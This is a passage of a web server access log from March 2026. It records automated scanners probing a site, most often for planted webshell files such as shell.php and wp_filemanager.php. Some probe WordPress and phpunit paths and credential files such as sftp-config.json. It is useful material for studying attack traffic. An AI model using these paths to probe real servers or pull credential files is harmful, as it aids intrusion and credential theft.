HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:49 +0300] "GET /malo.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:51 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:55 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:58 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:01 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:00 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:53 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 43.153.96.233 - - [08/Mar/2026:07:51:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.204.200.32 - - [08/Mar/2026:07:27:49 +0300] "GET /ffile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:27:53 +0300] "GET /shell20250630.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:27:56 +0300] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:27:58 +0300] "GET /public/rip.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:01 +0300] "GET /karak.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:32 +0300] "GET /dom.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:35 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:38 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:40 +0300] "GET /ava.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:43 +0300] "GET /6erg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:47 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:50 +0300] "GET /async.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:53 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:55 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:59 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:08 +0300] "GET /wp-xrm.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:11 +0300] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:16 +0300] "GET /hg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:20 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:23 +0300] "GET /yasnu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:25 +0300] "GET /abt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:28 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:31 +0300] "GET /mbg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:34 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:37 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:40 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:29:44 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:06 +0300] "GET /nbm.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:08 +0300] "GET /7wom.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:31:11 +0300] "GET /admi.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:33:08 +0300] "GET /vgtyu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:50 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:53 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:35 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 193.37.32.183 - - [08/Mar/2026:08:28:12 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:28:15 +0300] "GET /wp-includes/block-bindings/zczv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:28:18 +0300] "GET /wp-includes/SimplePie/rstsgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 4.204.200.32 - - [08/Mar/2026:07:28:27 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:29 +0300] "GET /bless14.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:34 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:37 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:40 +0300] "GET /moon3.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:43 +0300] "GET /yanki.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:46 +0300] "GET /mo.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:48 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:52 +0300] "GET /mnkalo.php HTTP/1.1" 301 795 "-" "-" 193.37.32.205 - - [08/Mar/2026:08:11:51 +0300] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:54 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:57 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.205 - - [08/Mar/2026:08:11:57 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:58 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:11:58 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.205 - - [08/Mar/2026:08:12:00 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:12:00 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:12:03 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:12:06 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:12:10 +0300] "GET /assets/images/selam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:12:13 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:12:15 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:12:18 +0300] "GET /gel4y.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:12:21 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:12:22 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:12:24 +0300] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:12:26 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:12:29 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:12:31 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 4.204.200.32 - - [08/Mar/2026:07:28:06 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:10 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:13 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:28:17 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:14 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:33:24 +0300] "GET /ze.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:33:26 +0300] "GET /ws28.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:33:40 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:41 +0300] "GET /pola.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:09 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:33:31 +0300] "GET /god.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:33:34 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 193.37.32.180 - - [08/Mar/2026:08:16:22 +0300] "GET /wp-content/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:25 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:26 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:16:27 +0300] "GET /wp-includes/assets/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:29 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:16:30 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:16:34 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:34 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:37 +0300] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:16:41 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:16:42 +0300] "GET /wa/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:16:45 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:16:45 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 43.153.54.138 - - [08/Mar/2026:08:56:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.156.87.56 - - [08/Mar/2026:09:52:04 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://t.co/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1; rv:119.0) Gecko/20100101 Firefox/119.0" 192.36.109.105 - - [08/Mar/2026:10:12:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.89 Mobile/15E148 Safari/604" 144.31.164.95 - - [08/Mar/2026:11:32:27 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5.34.182.203 - - [08/Mar/2026:12:24:10 +0300] "GET / HTTP/1.1" 301 795 "eliteewallet.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 69.171.249.2 - - [08/Mar/2026:13:18:35 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 182.43.70.143 - - [08/Mar/2026:12:54:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.180.246 - - [08/Mar/2026:14:42:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.45.145.96 - - [08/Mar/2026:13:49:08 +0300] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 115.45.43.251 - - [08/Mar/2026:13:41:36 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.4087.118 Safari/537.36" 120.240.178.155 - - [08/Mar/2026:13:41:37 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.4427.149 Safari/537.36 SE 2.X MetaSr 1.0" 43.153.71.12 - - [08/Mar/2026:13:50:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 115.45.43.81 - - [08/Mar/2026:13:45:06 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.4515.119 Safari/537.36" 103.77.106.81 - - [08/Mar/2026:14:57:07 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.77.106.81 - - [08/Mar/2026:14:57:12 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 178.212.144.7 - - [08/Mar/2026:17:23:29 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 165.22.41.174 - - [08/Mar/2026:17:44:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 213.199.32.162 - - [08/Mar/2026:17:48:40 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 49.51.72.76 - - [08/Mar/2026:19:08:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.180.139 - - [08/Mar/2026:19:57:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.58.55.33 - - [08/Mar/2026:19:38:56 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 182.42.111.156 - - [08/Mar/2026:19:51:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.163.188.168 - - [08/Mar/2026:21:14:57 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 5.175.189.34 - - [08/Mar/2026:22:32:06 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.12.79.171 - - [08/Mar/2026:23:01:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [08/Mar/2026:23:53:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 199.45.154.154 - - [08/Mar/2026:23:53:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 144.91.119.214 - - [09/Mar/2026:00:22:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://twitter.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.130 Safari/537.36" 185.180.141.10 - - [09/Mar/2026:00:48:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.180.141.9 - - [09/Mar/2026:00:48:25 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 43.156.202.34 - - [09/Mar/2026:01:58:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.166.7.113 - - [09/Mar/2026:01:00:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 125.75.66.97 - - [09/Mar/2026:02:04:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 14.243.39.158 - - [09/Mar/2026:05:07:53 +0300] "GET http://eliteewallet.com/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 CravingExplorer/2.4.1" 89.117.104.8 - - [09/Mar/2026:06:32:21 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:25 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:34 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:36 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:39 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:41 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:44 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:46 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:49 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:51 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:51 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:55 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:35:03 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:35:07 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:35:10 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:35:12 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:35:15 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:31:14 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:22 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:25 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:31:03 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:31:59 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:52 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:52 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:55 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:55 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:55 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:56 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:56 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 